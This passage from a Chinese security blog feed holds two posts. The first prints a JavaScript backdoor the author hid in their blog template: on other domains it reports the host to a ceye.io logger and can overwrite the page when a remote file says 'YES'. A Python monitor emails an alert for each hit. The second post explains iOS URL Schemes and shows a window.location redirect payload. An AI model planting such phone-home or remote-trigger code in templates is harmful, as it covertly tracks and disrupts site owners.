RegExp(\/gh0st.cn\/);\nvar isok = reg.test(host);\nif(!isok){\n\tvar img = document.createElement(\"img\");\n    img.src=\"http:\/\/myblog.\u4f60\u7684\u5730\u5740.ceye.io\/fuck?domain=\" + host;\n    img.stytle.display=\"none\";\n    document.body.appendChild(img);\n    var xhr = new XMLHttpRequest();\n    xhr.onreadystatechange=function(){\n        if(xhr.responseText == \"YES\"){\n        \tdocument.write(\"&lt;center&gt;&lt;h1&gt;Please tell me before using my template!By:[Vulkey_Chen]&lt;center&gt;&lt;h1&gt;\");\n        }\n    }\n    xhr.open(\"GET\",\"http:\/\/webserver\/isopen.txt\",true);\n    xhr.send(null);\n}\n<\/code><\/pre>\n\n<h3 id=\"python-\u76d1\u63a7\">Python \u76d1\u63a7<\/h3>\n\n<p>\u5229\u7528<code>ceye.io<\/code>\u8fd9\u4e2a\u5e73\u53f0\u7684API\u53bb\u5b9e\u65f6\u76d1\u63a7\uff0c\u5e76\u4e14\u4f7f\u7528\u90ae\u4ef6\u53d1\u4fe1\u901a\u77e5\u3002<\/p>\n\n<p>\u5bfc\u5165Python\u6a21\u5757 &amp;&amp; \u5168\u5c40\u53d8\u91cf\uff1a<\/p>\n\n<pre><code class=\"language-python\">import smtplib,requests,json,urlparse,sys\nfrom email.MIMEText import MIMEText\nfrom email.Utils import formatdate\nfrom email.Header import Header\n\nlog = {}\n<\/code><\/pre>\n\n<p><strong>1.163\u90ae\u4ef6\u53d1\u4fe1\uff1a<\/strong><\/p>\n\n<pre><code class=\"language-python\">def send_mail(domain,ip):\n\tsmtpHost = 'smtp.163.com'\n\tsmtpPort = '25'\n\tfromMail = '\u90ae\u7bb1\u8d26\u6237'\n\ttoMail = '\u90ae\u7bb1\u8d26\u6237,\u6536\u4fe1\u65b9'\n\tusername = '\u90ae\u7bb1\u8d26\u6237'\n\tpassword = '\u90ae\u7bb1\u5bc6\u7801'\n\treload(sys)\n\tsys.setdefaultencoding('utf8')\n\n\tsubject = u'\u535a\u5ba2\u76d1\u63a7\u5230\u6709\u4eba\u5077\u6a21\u677f\uff01'\n\tbody = u\"[\u5c0f\u5077\u4fe1\u606f]\\nDomain: {0} IP: {1}\".format(domain,ip)\n\n\tencoding = 'utf-8'\n\tmail = MIMEText(body.encode(encoding),'plain',encoding)\n\tmail['Subject'] = Header(subject,encoding)\n\tmail['From'] = fromMail\n\tmail['To'] = toMail\n\tmail['Date'] = formatdate()\n\n\ttry:\n\t\tsmtp = smtplib.SMTP(smtpHost,smtpPort)\n\t\tsmtp.ehlo()\n\t\tsmtp.login(username,password)\n\t\tsmtp.sendmail(fromMail,toMail.split(','),mail.as_string())\n\t\tprint u\"\u90ae\u4ef6\u5df2\u53d1\u9001\uff0c\u76d1\u63a7\u4fe1\u606f\uff1a\"\n\t\tprint body\n\texcept Exception,e:\n\t\tprint e\n\t\tprint u\"\u53d1\u9001\u5931\u8d25\uff0c\u76d1\u63a7\u4fe1\u606f\uff1a\"\n\t\tprint body\n\tfinally:\n\t\tsmtp.close()\n<\/code><\/pre>\n\n<p><strong>2.ceye.io API\u8c03\u7528\u83b7\u53d6\u4fe1\u606f\uff0c<a href=\"http:\/\/ceye.io\/profile\">\u4e2a\u4eba\u4e2d\u5fc3<\/a>\u53ef\u4ee5\u770b\u89c1API TOKEN\uff0c<a href=\"http:\/\/ceye.io\/api\">API\u4f7f\u7528\u65b9\u6cd5<\/a>\uff1a<\/strong><\/p>\n\n<pre><code class=\"language-python\">def dnslog_monitor():\n\tapi = \"http:\/\/api.ceye.io\/v1\/records?token=\u4f60\u7684TOKEN&amp;type=http&amp;filter=myblog\"\n\tr = requests.get(api)\n\tjson_data = json.loads(r.text)\n\tfor i in json_data['data']:\n\t\tquery = urlparse.urlparse(i['name']).query\n\t\tsb_domain = dict([(k, v[0]) for k, v in urlparse.parse_qs(query).items()])['domain']\n\t\tsb_ip = i['remote_addr']\n\t\tif sb_domain in log:\n\t\t\tpass\n\t\telse:\n\t\t\tlog[sb_domain] = sb_ip\n\t\t\tsend_mail(sb_domain,sb_ip)\n<\/code><\/pre>\n\n<p><strong>3.main\u51fd\u6570\uff1a<\/strong><\/p>\n\n<pre><code class=\"language-python\">def main():\n\twhile True:\n\t\tdnslog_monitor()\n<\/code><\/pre>\n\n<h2 id=\"\u540e\u95e8\u7684\u8fd0\u884c\">\u540e\u95e8\u7684\u8fd0\u884c<\/h2>\n\n<p>python\u811a\u672c\u6302\u5728\u670d\u52a1\u5668\u8dd1\u4e86\u4e00\u6bb5\u65f6\u95f4\uff0c\u4e5f\u53d1\u73b0\u4e86\u4e00\u4e2a\u54e5\u4eec\u53c8\u62ff\u8d70\u4e86\u6211\u7684\u535a\u5ba2\u6a21\u677f\uff1a<\/p>\n\n<p><img src=\"\/images\/2019-01-23\/0.png\" alt=\"oh,no\" \/><\/p>\n\n<p>\u8ba9\u4ed6\u201d\u7528\u201d\u4e86\u4e00\u6bb5\u65f6\u95f4\uff0c\u4fbf\u5c06isopen.txt\u7684\u5185\u5bb9\u6539\u4e3a\u4e86YES\uff08\u5373\u89e6\u53d1\u4e86\u540e\u95e8\uff09\uff0c\u5176\u540e\u6765\u4e5f\u4e0e\u6211\u8054\u7cfb\uff0c\u5e76\u8fdb\u884c\u4e86\u548c\u89e3\u3002<\/p>\n\n<h1 id=\"\u5199\u5728\u6700\u540e\u7684\u8bdd\">\u5199\u5728\u6700\u540e\u7684\u8bdd<\/h1>\n\n<p>\u4e5f\u662f\u56e0\u4e3a\u201c\u91cd\u5ea6\u6d01\u7656\u201d\uff0c\u51b3\u5b9a\u5c06\u6a21\u677f\u540e\u95e8\u53bb\u9664\u3002\u671b\u541b\u5c0a\u91cd\u6280\u672f\u3001\u5206\u4eab\u3001\u4f5c\u8005\uff0c\u5171\u52c9\uff01<\/p>\n","pubDate":"2019-01-23T00:00:00+08:00","link":"https:\/\/gh0st.cn\/archives\/2019-01-23\/1","guid":"https:\/\/gh0st.cn\/archives\/2019-01-23\/1"},{"title":"iOS URL Schemes\u4e0e\u6f0f\u6d1e\u7684\u78b0\u649e\u7ec4\u5408","description":"<h1 id=\"\u524d\u8a00\">\u524d\u8a00<\/h1>\n\n<p>iOS URL Schemes\uff0c\u8fd9\u4e2a\u5355\u8bcd\u5bf9\u4e8e\u5927\u591a\u6570\u4eba\u6765\u8bf4\u53ef\u80fd\u6709\u4e9b\u964c\u751f\uff0c\u4f46\u662f\u7c7b\u4f3c\u4e0b\u9762\u8fd9\u5f20\u56fe\u7684\u63d0\u793a\u5927\u90e8\u5206\u4eba\u5e94\u8be5\u90fd\u7ecf\u5e38\u770b\u89c1\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-12-08\/0.png\" alt=\"wechat\" \/><\/p>\n\n<p>\u4eca\u5929\u8981\u63a2\u7a76\u7684\u5c31\u662f\uff1a\u4e86\u89e3iOS URL Schemes\u3001\u5982\u4f55\u53d1\u73b0iOS URL Schemes\u3001iOS URL Schemes\u7ed3\u5408\u6f0f\u6d1e\u6848\u4f8b\u3002<\/p>\n\n<h1 id=\"ios-url-schemes\">iOS URL Schemes<\/h1>\n\n<h2 id=\"\u57fa\u672c\u6982\u5ff5\">\u57fa\u672c\u6982\u5ff5<\/h2>\n\n<p>\u629b\u5f00iOS\u4eceURL Schemes\u7684\u5b57\u9762\u610f\u601d\u7406\u89e3\uff0c\u5c31\u662f\u5730\u5740\u534f\u8bae\uff08<strong>Scheme\u4e00\u822c\u7528\u6765\u8868\u793a\u534f\u8bae\uff0c\u6bd4\u5982 http\u3001https\u3001ftp \u7b49<\/strong>\uff09\uff0c\u6211\u4eec\u6240\u719f\u77e5\u7684HTTP\u534f\u8bae\u7684URL\u683c\u5f0f\u5c31\u662f\uff1a<\/p>\n\n<p><code>http(s):\/\/user:pass@host:port\/path?query<\/code><\/p>\n\n<p>\u4e3e\u4e2a\u4f8b\u5b50\uff1a<code>http:\/\/gh0st.cn\/<\/code>\uff0c\u5728\u6d4f\u89c8\u5668\u8f93\u5165\u8fd9\u4e2a\u5730\u5740\uff0c\u6d4f\u89c8\u5668\u662f\u4f7f\u7528HTTP\u534f\u8bae\u5411 <strong>gh0st.cn<\/strong> \u8bf7\u6c42\uff0c\u8bf7\u6c42\u7684\u8d44\u6e90\u5c31\u662f <strong>\/<\/strong> \u3002<\/p>\n\n<p>\u518d\u6765\u770b\u4e00\u4e0biOS URL Schemes\u7684\u4e00\u4e2a\u4f8b\u5b50\uff1a<code>weixin:\/\/<\/code>\uff0c\u4f60\u5728Safari\u6d4f\u89c8\u5668(Mobile)\u8f93\u5165\u8fd9\u4e2a\u7f51\u5740\u5c31\u4f1a\u63d0\u793a\u4f60<code> \u5728\"\u5fae\u4fe1\"\u4e2d\u6253\u5f00\u94fe\u63a5\u5417\uff1f<\/code>\uff0c\u7136\u540e\u7531\u4f60\u9009\u62e9\u201d\u53d6\u6d88\u201d\u6216\u201d\u6253\u5f00\u201d\uff1b<strong>\u548cHTTP\u534f\u8bae\u683c\u5f0f\u7684URL\u8bbf\u95ee\u6d41\u7a0b\u8fdb\u884c\u5bf9\u6bd4\uff0ciOS URL Schemes \u5b9e\u9645\u4e0a\u5c31\u662f\u542f\u52a8\u4e00\u4e2a\u5e94\u7528\u7684 URL<\/strong>\uff0c\u5176\u8bbf\u95ee\u6d41\u7a0b\u662f\u8fd9\u6837\u7684\uff1a<\/p>\n\n<p><code>\u6d4f\u89c8\u5668\u8f93\u5165\"weixin:\/\/\" -&gt; iOS\u8bc6\u522bURL Schemes -&gt;\u8be2\u95ee\u662f\u5426\u8df3\u8f6c\u5230\u5fae\u4fe1 -&gt; \u786e\u8ba4\u8df3\u8f6c -&gt; \u4ece\u6d4f\u89c8\u5668\u8df3\u8f6c\u5230\u5fae\u4fe1\u7aef<\/code><\/p>\n\n<p>\u90a3\u4e48\u95ee\u9898\u5c31\u6765\u4e86\uff0c\u4ee5\u4e0a\u6240\u8ff0\u6d41\u7a0b\u4e2d\u7684\u201d<strong>iOS\u8bc6\u522bURL Schemes<\/strong>\u201c\uff0ciOS\u5982\u4f55\u8bc6\u522b\u8fd9\u6bb5URL Schemes\uff1f<strong>iOS\u5b98\u65b9\u8981\u6c42\u7684\u662fAPP\u5f00\u53d1\u8005\u9700\u8981\u81ea\u5df1\u5b9a\u4e49\u81ea\u5df1APP\u7684\u201dURL Schemes\u201d\uff0c\u53ea\u6709APP\u672c\u8eab\u5b9a\u4e49(\u652f\u6301)\u4e86URL Schemes\uff0ciOS\u624d\u4f1a\u53bb\u8bc6\u522b\u7136\u540e\u8df3\u8f6c<\/strong>\u3002<\/p>\n\n<h2 id=\"\u5b9a\u4e49\">\u5b9a\u4e49<\/h2>\n\n<p>\u4e00\u4e2a\u5b8c\u6574\u7684 URL Schemes \u5e94\u8be5\u5206\u4e3a Scheme\u3001Action\u3001Parameter\u3001Value \u8fd9 4 \u4e2a\u90e8\u5206\uff0c\u4e2d\u95f4\u7528\u5192\u53f7 <code>:<\/code>\u3001\u659c\u7ebf <code>\/<\/code>\u3001\u95ee\u53f7 <code>?<\/code>\u3001\u7b49\u53f7 <code>=<\/code> \u76f8\u8fde\u63a5\u3002<\/p>\n\n<p>\u4e3e\u4e2a\u4f8b\u5b50\uff1a<code>mst:\/\/jump?url=https:\/\/gh0st.cn\/&amp;title=test<\/code>\uff0c\u5b83\u5bf9\u5e94\u76844\u90e8\u5206\u5c31\u662f\u5982\u4e0b\u6240\u793a\uff1a<\/p>\n\n<p>Scheme\uff08\u5934\uff09: <code>mst<\/code>\u3001Action\uff08\u52a8\u4f5c\uff09: <code>jump<\/code>\u3001Parameter\uff08\u53c2\u6570\uff09: <code>url\u3001title<\/code>\u3001Value\uff08\u503c\uff09: <code>https:\/\/gh0st.cn\u3001test<\/code><\/p>\n\n<p>\u4e0d\u540c\u7684\u90e8\u5206\u4e4b\u95f4\u6709\u7b26\u53f7\u76f8\u8fde\uff0c\u5b83\u4eec\u4e5f\u6709\u4e00\u5b9a\u7684\u89c4\u5219(\u548cURL\u90e8\u5206\u89c4\u5219\u662f\u4e00\u6837\u7684)\uff1a<\/p>\n\n<ul>\n  <li>\n    <p>\u5192\u53f7<code>:<\/code>\uff1a\u5728<strong>\u94fe\u63a5\u5934<\/strong>\u548c<strong>\u547d\u4ee4<\/strong>\u4e4b\u95f4\uff1b<\/p>\n  <\/li>\n  <li>\u53cc\u659c\u6760 <code>\/\/<\/code>\uff1a\u5728<strong>\u94fe\u63a5\u5934\u548c\u547d\u4ee4<\/strong>\u4e4b\u95f4\uff0c\u6709\u65f6\u4f1a\u662f\u4e09\u659c\u6760 <code>\/\/\/<\/code>\uff1b<\/li>\n  <li>\u95ee\u53f7 <code>?<\/code>\uff1a\u5728<strong>\u547d\u4ee4\u548c\u53c2\u6570<\/strong>\u4e4b\u95f4\uff1b<\/li>\n  <li>\u7b49\u53f7 <code>=<\/code>\uff1a\u5728<strong>\u53c2\u6570\u548c\u503c<\/strong>\u4e4b\u95f4\uff1b<\/li>\n  <li><strong>\u548c\u7b26\u53f7<\/strong> <code>&amp;<\/code>\uff1a\u5728<strong>\u4e00\u7ec4\u53c2\u6570\u548c\u53e6\u4e00\u7ec4\u53c2\u6570<\/strong>\u4e4b\u95f4\u3002<\/li>\n<\/ul>\n\n<h3 id=\"\u7406\u89e3\">\u7406\u89e3<\/h3>\n\n<p>\u4ee5\u4e0a\u8ff0\u6240\u4e3e\u7684\u4f8b\u5b50\uff1a<code>mst:\/\/jump?url=https:\/\/gh0st.cn\/&amp;title=test<\/code>\uff0c\u6765\u7b80\u5355\u7684\u8bf4\u660e\u4e0b\u8fd9\u6bb5URL Scheme\u6240\u4ea7\u751f\u7684\u6548\u679c\uff1a<\/p>\n\n<p>1.\u8df3\u8f6c\u5230\u201dmst\u201d\u6240\u5bf9\u5e94\u7684APP<\/p>\n\n<p>2.\u5728APP\u4e2d\u6267\u884cjump\u52a8\u4f5c\uff08\u8df3\u8f6c\u7f51\u7ad9\uff09<\/p>\n\n<p>3.\u544a\u8bc9APPjump\u52a8\u4f5c\u6240\u9700\u7684<code>url<\/code>\u548c<code>title<\/code>\u53c2\u6570\uff0c\u5bf9\u5e94\u7684\u503c\u5206\u522b\u4e3a<code>https:\/\/gh0st.cn\/<\/code>\u548c<code>test<\/code><\/p>\n\n<p><strong>\u53ef\u4ee5\u7406\u89e3\u4e3a\u5728APP\u5e94\u7528\u4e2d\u8bbf\u95ee<code>https:\/\/gh0st.cn\/<\/code>\uff0c\u7f51\u9875\u6807\u9898\u4e3a<code>test<\/code>\u3002<\/strong><\/p>\n\n<h1 id=\"\u5bfb\u627eios-app\u7684url-schemes\">\u5bfb\u627eiOS APP\u7684URL Schemes<\/h1>\n\n<p><strong>\u5f53\u4f60\u5b66\u4f1a\u4e86\u5982\u4f55\u5bfb\u627eAPP\u7684URL Schemes\uff0c\u4f60\u5c31\u7b97\u53d1\u73b0\u4e86\u534a\u4e2a\u6f0f\u6d1e\u3002<\/strong><\/p>\n\n<h2 id=\"\u83b7\u53d6ipa\u5305\">\u83b7\u53d6IPA\u5305<\/h2>\n\n<p>\u57fa\u672c\u7684URL Schemes\u53ef\u4ee5\u5728iOS APP\u4e2d\u7684Info.plist\u6587\u4ef6\u4e2d\u5bfb\u627e\u5230\uff0c\u800c\u4e00\u822c\u4f60\u662f\u65e0\u6cd5\u83b7\u53d6\u5230APP\u7684ipa\u5305\u7684\uff0c\u6240\u4ee5\u9700\u8981\u501f\u52a9\u8f6f\u4ef6\u83b7\u53d6\u5230\u8fd9\u4e2a\u5305\u3002<\/p>\n\n<p>\u524d\u63d0\u662f\u4f60\u9700\u8981\u8fd9\u4e24\u53f0\u8bbe\u5907\uff1aMacBook\u3001iPhone\uff0c\u5982\u679c\u4f60\u53ea\u62e5\u6709\u4e00\u53f0iPhone\u7684\u8bdd\u4e5f\u6709\u529e\u6cd5\u53bb\u83b7\u53d6\uff08\u9700\u8981Thor APP\uff0c\u5177\u4f53\u65b9\u6cd5\u81ea\u884c\u5bfb\u627e\uff09\u3002<\/p>\n\n<p>Mac\u4e0a\u5148\u5b89\u88c5Apple Configurator 2\uff0c\u7136\u540e\u4f60\u9700\u8981\u5728\u8be5\u8f6f\u4ef6\u4e2d\u767b\u5f55\u4f60\u7684Apple\u8d26\u6237\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-12-08\/1.png\" alt=\"login\" \/><\/p>\n\n<p>\u4f7f\u7528iPhone\u5145\u7535\u7ebf\u5c06\u624b\u673a\u8fde\u63a5Mac\uff0c\u8fd9\u65f6\u5019\u8f6f\u4ef6\u4e2d\u5c31\u4f1a\u663e\u793a\u5df2\u7ecf\u8fde\u63a5Mac\u7684\u8bbe\u5907\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-12-08\/2.png\" alt=\"iphone\" \/><\/p>\n\n<p>\u5047\u8bbe\u4f60\u9700\u8981\u83b7\u53d6\u5fae\u4fe1\u7684URL Schemes\uff0c\u90a3\u4e48\u4f60\u7684\u624b\u673a\u5df2\u7ecf\u5b89\u88c5\u8fc7\u4e86\u5fae\u4fe1\uff0c\u7136\u540e\u4f7f\u7528\u8be5\u8f6f\u4ef6\u8fdb\u884c\u6dfb\u52a0\uff0c\u9009\u4e2d\u8bbe\u5907\u70b9\u51fb\u6dfb\u52a0\u6309\u94ae\uff0c\u9009\u62e9\u5e94\u7528\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-12-08\/3.png\" alt=\"add\" \/><\/p>\n\n<p>\u641c\u7d22\u5fae\u4fe1\uff0c\u9009\u4e2d\u6dfb\u52a0\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-12-08\/4.png\" alt=\"add wechat\" \/><\/p>\n\n<p>\u5f53\u4f60\u4e0b\u8f7d\u5b8c\u6210\u770b\u89c1\u5982\u4e0b\u63d0\u793a\u7684\u65f6\u5019\uff0c\u5728Finder\u4e2d\u6309\u5feb\u6377\u952e<code>Command+Shift+G<\/code>\uff0c\u8f93\u5165<code>~\/\u8d44\u6e90\u5e93\/Group Containers\/K36BKF7T3D.group.com.apple.configurator\/Library\/Caches\/Assets\/TemporaryItems\/MobileApps\/<\/code><\/p>\n\n<p><img src=\"\/images\/2018-12-08\/5.png\" alt=\"tip\" \/><\/p>\n\n<p>\u8f6f\u4ef6\u4e0b\u8f7d\u7684\u5fae\u4fe1ipa\u6587\u4ef6\u5c31\u5b58\u5728\u8be5\u6587\u4ef6\u5939\u4e2d\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-12-08\/6.png\" alt=\"ipa\" \/><\/p>\n\n<p>\u8fdb\u5165\u6587\u4ef6\u5939\u5c06ipa\u6587\u4ef6\u590d\u5236\u5230\u5176\u4ed6\u5730\u65b9\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-12-08\/7.png\" alt=\"move\" \/><\/p>\n\n<p>\u7136\u540e\u56de\u5230Apple Configurator 2\u7684\u63d0\u793a\uff0c\u70b9\u51fb\u505c\u6b62\u5373\u53ef\u3002<\/p>\n\n<h2 id=\"\u83b7\u53d6\u57fa\u672curl-schemes\">\u83b7\u53d6\u57fa\u672cURL Schemes<\/h2>\n\n<p>\u5c06IPA\u5305\u540e\u7f00\u540d\u4fee\u6539\u4e3aZIP\uff0c\u7136\u540e\u89e3\u538b\uff0c\u8fdb\u5165Payload\u76ee\u5f55\u4f1a\u770b\u89c1\u4e00\u4e2a.APP\u540e\u7f00\u540d\u6587\u4ef6\uff0c\u9009\u4e2d\u6587\u4ef6\u53f3\u51fb\u663e\u793a\u5305\u5185\u5bb9\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-12-08\/8.png\" alt=\"view\" \/><\/p>\n\n<p>\u627e\u5230Info.plist\u6587\u4ef6\u5e76\u6253\u5f00\uff0c\u641c\u7d22\u5173\u952e\u8bcd<code>URLSchemes<\/code>\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-12-08\/9.png\" alt=\"find\" \/><\/p>\n\n<p>\u88ab<code>String<\/code>\u6807\u7b7e\u6240\u5305\u542b\u7684\u5c31\u662f\u5fae\u4fe1\u7684URL Schemes\uff1a<\/p>\n\n<pre><code class=\"language-xml\">&lt;string&gt;wexinVideoAPI&lt;\/string&gt;\n&lt;string&gt;weixin&lt;\/string&gt;\n&lt;string&gt;weixinapp&lt;\/string&gt;\n&lt;string&gt;fb290293790992170&lt;\/string&gt;\n&lt;string&gt;wechat&lt;\/string&gt;\n&lt;string&gt;QQ41C152CF&lt;\/string&gt;\n&lt;string&gt;prefs&lt;\/string&gt;\n<\/code><\/pre>\n\n<h3 id=\"\u5bfb\u627e\u5b8c\u6574url-schemes\">\u5bfb\u627e\u5b8c\u6574URL Schemes<\/h3>\n\n<p>\u5982\u4e0a\u5df2\u7ecf\u4e86\u89e3\u4e86\u5982\u4f55\u83b7\u53d6\u6700\u57fa\u672c\u7684URL Schemes\uff0c\u4f46\u662f\u8fd9\u8fdc\u8fdc\u4e0d\u591f\uff0c\u56e0\u4e3a\u5b8c\u6574\u7684URL Schemes\u67094\u90e8\u5206\uff0c\u800c\u76ee\u524d\u53ea\u627e\u5230\u4e86\u7b2c\u4e00\u90e8\u5206\uff0c\u4ec5\u4ec5\u80fd\u505a\u5230\u7684\u529f\u80fd\u5c31\u662f\u542f\u52a8\uff0c\u800c\u60f3\u627e\u5230\u66f4\u591a\u7684\u975e\u57fa\u672cURL Schemes\u9700\u8981\u5176\u4ed6\u7684\u65b9\u6cd5\u3002\u6709\u5f88\u591a\u65b9\u6cd5\u5728\u8fd9\u91cc\u4e0d\u4e00\u4e00\u4f8b\u4e3e\u4e86\uff0c\u53ea\u4f8b\u51e0\u4e2a\u5e38\u89c1\u7684\u601d\u8def\u4f9b\u4f60\u53c2\u8003\u3002<\/p>\n\n<h3 id=\"\u4ece\u624b\u673a\u7ad9\u70b9\u9875\u9762\u83b7\u53d6\">\u4ece\u624b\u673a\u7ad9\u70b9\u9875\u9762\u83b7\u53d6<\/h3>\n\n<p>\u4e00\u822c\u7f51\u7ad9\u90fd\u4f1a\u6709\u8fd9\u4e9b\u5b50\u57df\u540d\uff1am\\h5\\mobile\u2026<\/p>\n\n<p>\u6253\u5f00\u8fd9\u4e9b\u5b50\u57df\u540d\uff0c\u5229\u7528Chrome\u7684\u5f00\u53d1\u8005\u5de5\u5177(F12)\u5207\u6362\u4e3a\u624b\u673a\u6a21\u5f0f\u89c6\u56fe\uff0c\u8fd9\u6837\u5c31\u80fd\u6a21\u62df\u624b\u673a\u53bb\u8bbf\u95ee\u4e86\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-12-08\/10.png\" alt=\"Chrome\" \/><\/p>\n\n<p>\u90a3\u5728\u8fd9\u91cc\u53ef\u4ee5\u5728\u8be5\u9875\u9762\u7684HTML\u4ee3\u7801\u4e2d\u5bfb\u627eURL Schemes\uff08\u524d\u63d0\u662f\u4f60\u5df2\u7ecf\u77e5\u9053\u4e86\u57fa\u672c\u7684URL Schemes\uff09<\/p>\n\n<p>\u5728\u8fd9\u91cc\u6211\u4ece\u9875\u9762\u7684JavaScript\u4ee3\u7801\u4e2d\u53d1\u73b0\u4e86\u5f88\u591aURL Schemes\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-12-08\/11.png\" alt=\"URL Schemes\" \/><\/p>\n\n<p>\u6709\u4e9b\u8fd8\u6709\u53c2\u6570\uff0c\u53ef\u4ee5\u6839\u636e\u547d\u540d\u6765\u731c\u8fd9\u4e9bURL Schemes\u7684\u542b\u4e49\uff0c\u4f8b\u5982<code>path: \"mst:\/\/jump\/core\/web\/jump\"<\/code>\uff0c\u5c31\u53ef\u4ee5\u77e5\u9053\u8fd9\u4e2a\u662f\u505aWeb\u8df3\u8f6c\u7684\uff0c\u90a3\u8df3\u8f6c\u5230\u54ea\u4e2a\u5730\u5740\u662f\u4ec0\u4e48\u53c2\u6570\u63a7\u5236\u5462\uff1f\u4e0b\u9762\u4e5f\u6709\u5bf9\u5e94\u7684\u544a\u8bc9\u6211\u4eec\u662f<code>url<\/code>\u53c2\u6570\u53bb\u63a7\u5236\uff0c\u4e5f\u5c31\u7ec4\u6210\u4e86\u8fd9\u6837\u4e00\u4e2aURL Scheme: <code>mst:\/\/jump\/core\/web\/jump?url=https:\/\/gh0st.cn<\/code><\/p>\n\n<h3 id=\"qrlcode\u89e3\u6790\u5730\u5740\u83b7\u53d6\">QRLCode\u89e3\u6790\u5730\u5740\u83b7\u53d6<\/h3>\n\n<p>\u73b0\u5728\u5f88\u591a\u7f51\u7ad9\u90fd\u652f\u6301\u4e8c\u7ef4\u7801\u767b\u5f55\uff0c\u5c31\u6bd4\u5982\u5982\u4e0b\u8fd9\u4e2a\u7f51\u7ad9\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-12-08\/12.png\" alt=\"qrlcode\" \/><\/p>\n\n<p>\u4fdd\u5b58\u8be5\u4e8c\u7ef4\u7801\u8fdb\u884c\u4e8c\u7ef4\u7801\u89e3\u6790\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-12-08\/13.png\" alt=\"text\" \/><\/p>\n\n<p>\u89e3\u6790\u5f97\u51fa\u8fd9\u662f\u4e00\u4e2aURL Scheme\uff0c\u4fee\u6539json\u53c2\u6570url\u7684\u503c\u4e3a\u6211\u7684\u7f51\u7ad9\u5c1d\u8bd5\u5728\u6d4f\u89c8\u5668\u4e2d\u6253\u5f00\u6210\u529f\u7684\u89e6\u53d1\u4e86\u8df3\u8f6cAPP\uff0c\u5e76\u4e14\u5728APP\u4e2d\u8bbf\u95ee\u4e86\u6211\u7684\u7f51\u7ad9\u3002<\/p>\n\n<h3 id=\"\u9006\u5411app\">\u9006\u5411APP<\/h3>\n\n<p>\u4e0d\u4ec5\u662fiOS\uff0c\u5b89\u5353\u4e5f\u652f\u6301URL Schemes\uff0c\u800c\u4e00\u822c\u7684\u5b9a\u4e49\u662f\u4e00\u6837\u7684\uff0c\u6240\u4ee5\u4f60\u53ef\u4ee5\u57fa\u4e8e<code>\u83b7\u53d6\u57fa\u672cURL Schemes<\/code>\u8fd9\u4e2a\u6b65\u9aa4\u5c06.APP\u6587\u4ef6\u7684\u540e\u7f00\u53bb\u6389\uff0c\u8fd9\u65f6\u5019\u8fd9\u4e2a\u6587\u4ef6\u5c31\u53d8\u6210\u4e86\u4e00\u4e2a\u6587\u4ef6\u5939\u62d6\u5230Sublime\u91cc\u9762\u5168\u5c40\u641c\u7d22\u201d<strong>weixin:\/\/<\/strong>\u201c\u5373\u53ef\u3002<\/p>\n\n<p>\u81f3\u4e8e\u5b89\u5353\u7684APK\u7684\u9006\u5411\u53ef\u4ee5\u53c2\u8003\u6211\u4e4b\u524d\u7684\u4e00\u7bc7\u6587\u7ae0&lt; <a href=\"https:\/\/gh0st.cn\/archives\/2018-11-18\/1\">\u6253\u9020Mac\u4e0bAPK\u9006\u5411\u73af\u5883\u5230\u5b9e\u6218\u63a5\u53e3XSS\u6316\u6398<\/a> &gt;\uff0c\u53ef\u4ee5\u5728\u6e90\u4ee3\u7801\u4e2d\u3001\u6240\u6709\u6587\u4ef6\u5185\u5bb9\u4e2d\u641c\u7d22URL Schemes\u3002<\/p>\n\n<p><img src=\"\/images\/2018-12-08\/14.png\" alt=\"search\" \/><\/p>\n\n<h1 id=\"\u6f0f\u6d1e\u6848\u4f8b\">\u6f0f\u6d1e\u6848\u4f8b<\/h1>\n\n<h2 id=\"app\u5185url\u8df3\u8f6c\u95ee\u9898\">APP\u5185URL\u8df3\u8f6c\u95ee\u9898<\/h2>\n\n<p>\u5176\u5b9e\u4e25\u683c\u6765\u8bb2\u8fd9\u4e0d\u7b97\u662f\u6f0f\u6d1e\uff0c\u6bd5\u7adf\u5229\u7528\u6709\u9650\uff0c\u4f46\u53c8\u548c<strong>\u4e00\u5207\u80fd\u4ea7\u751f\u5371\u5bb3\u7684\u95ee\u9898\u90fd\u7b97\u6f0f\u6d1e<\/strong>\u8fd9\u53e5\u8bdd\u6240\u51b2\u7a81\uff0c\u6240\u4ee5\u5728\u8fd9\u8fd8\u662f\u9009\u62e9\u5217\u4e86\u51fa\u6765\uff0c\u81f3\u4e8e\u5382\u5546\u89c9\u4e0d\u89c9\u5f97\u662f\u4e2a\u5b89\u5168\u6027\u95ee\u9898\uff0c\u8fd8\u8981\u770b\u4ed6\u4eec\u5bf9\u201c\u5b89\u5168\u98ce\u9669\u201c\u7684\u5b9a\u4e49\u3002<\/p>\n\n<p>\u5982\u4f55\u53d1\u73b0\u8fd9\u7c7b\u95ee\u9898\uff1f\u5728\u4e0a\u6587\u4e2d\u6211\u63d0\u5230\u4e86\u5982\u4f55\u53d1\u73b0URL Schemes\uff0c\u53ea\u8981\u4f60\u53d1\u73b0\u4e86\u8fd9\u79cd\u7c7b\u578b\u7684URL Schemes\u5c31\u53ef\u4ee5\u5c1d\u8bd5\u66ff\u6362\u5730\u5740\u4e3a\u4f60\u7684\u5730\u5740\u7136\u540e\u4f7f\u7528\u6d4f\u89c8\u5668\u6253\u5f00\u67e5\u770b\u662f\u5426\u80fd\u5728APP\u5185\u8df3\u8f6c\u5230\u4f60\u7684\u5730\u5740\uff0c\u5f53\u7136\u5229\u7528\u65b9\u5f0f\u4e5f\u5f88\u7b80\u5355\uff0c\u6784\u5efa\u4e00\u4e2aHTML\u9875\u9762\u5373\u53ef\uff0c\u7136\u540e\u5c06\u7f51\u5740\u53d1\u9001\u7ed9\u201c<strong>\u53d7\u5bb3\u8005<\/strong>\u201d\u5373\u53ef\uff1a<\/p>\n\n<pre><code class=\"language-html\">&lt;script&gt;\nwindow.location='URL Schemes';\n&lt;\/script&gt;\n<\/code><\/pre>\n\n<h2 